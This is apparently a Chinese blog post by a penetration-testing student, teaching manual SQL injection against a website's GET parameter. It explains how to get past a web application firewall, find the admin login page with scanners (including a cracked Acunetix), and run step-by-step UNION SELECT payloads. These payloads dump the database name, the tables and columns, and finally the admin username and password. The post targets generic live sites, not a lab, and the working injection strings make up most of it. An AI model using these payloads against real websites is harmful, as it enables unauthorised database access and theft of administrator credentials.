本人是一名渗透新手,信息安全专业的学生一直在学习关于安全方面的理论学习,主要进行的是网站的搭建,但自从接触了web渗透之后才发现自己以前搭建的网站真是漏洞百出,从而也爱上了渗透的学习,今天就和大家分享一下我的学习成果,有什么不好的地方欢迎大家提意见!
今天主要是讲一讲sql注入,sql注入的原理和危害就不多说了,大家百度一下就可以了,给大家讲一讲我的实践经验。
sql注入的方法(get参数)
说复杂了没用其实就两种,工具注入与手工注入
(一)选择网站是否能进行sql注入(一般使用火狐浏览器比较好——方便)
(1)先查看URL页面为http://xxx.com/xxx/id=23 这样的页面或者为伪静态的url也可进行注入。 ·
(2)在url后输入
and 1=1返回页面正常
and 1=2返回页面错误
or 1=1返回页面错误
or 1=2返回页面正常
这样的网站就有注入漏洞
现在的网站基本都有网站防火墙(带有防sql注入功能)这时可用‘工具注入中转生成器’来重新生成一个页面(注意打开这个页面要用iis或小旋风),这样就可以绕过网站安全狗了。
然后在新生成页面进行操作。
and 1=1返回页面正常
and 1=2返回页面错误
or 1=1返回页面错误
or 1=2返回页面正常
这样就可以进行下一步了。
(一)个人经验一般应先进行目录的扫描,为什么呢?
因为先应该找到网站后台的登录界面,如果连登陆界面都无法找到,就算知道了管理员的用户 名密码又有什么用呢。
可以手工查找,就是猜名称,一般为admin|login|user等asp、php、aspx、jsp后缀的,这种方 法有点傻,一般用工具进行网站遍历。
扫描工具:工具在附件里都有。我一般先使用御剑的扫描工具,但御剑的岁数毕竟不小了,也 没有后续的更新,所以有些网站目录是无法遍历出来的,这是只能用一些牛逼的工具了。工具burpsuite(都说是渗透神器,我也一直在用,功能挺强大的,可以进行网站爬行与网站目录的遍历)还有就是Acunetix Web Vulnerability Scanner这款软件也是非常强大的,现在出到10了,网上破解版。具体使用教程请自行百度。
(二)进行注入
可用工具啊D、明小子、pangolin穿山甲、sqlmap等工具进行注入,今天主要讲解手工注入。
手工注入:
1、order by 1.....100判断表数
若页面返回正常则说明这个数字小于表数,依次递加,最好取中进行测试节省时间,最后一个 正确的为表数,如20正常,21不正常,则表数为20
2、 http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
显示3,7数字
3、 将3或7替换为database()、version()、user()、@@version——compile_os
报基本信息 (1)database():数据库名-------abc
(2)version():数据库版本--------5.1.63-community
(3)user():数据库用户[email protected]
(4)@@version——compile_os:操作系统--------win32
4、表名查询 http://xxx/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20from information_schema.tables where table_schema=0x616263(此处为数据库名,可用小葵 转换工具转换为Hex值)
查询结果为:wz_jj_admin,wz_jj_article,wz_jj_attachment,wz_jj_class,wz_jj_en_admin,wz_jj_en_article,wz_jj_en_attachment,wz_jj_en_class,wz_jj_en_key,wz_jj_en_links,wz_jj_en_message,wz_jj_key,wz_jj_links,wz_jj_message
5、分析表wz_jj_admin 查找表的列名
http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=0x777A5F6A6A5F61646D696E
结果为:uid , ad_username,ad_password,ad_power,ad_intro
6、查找用户名,密码http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(ad_username,0x5c,ad_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from wz_jj_admin
7、结果为:admin admin888 这样就成功了
这只是简单的sql注入,后续的参数注入有post注入、cookie注入,请耐心等待!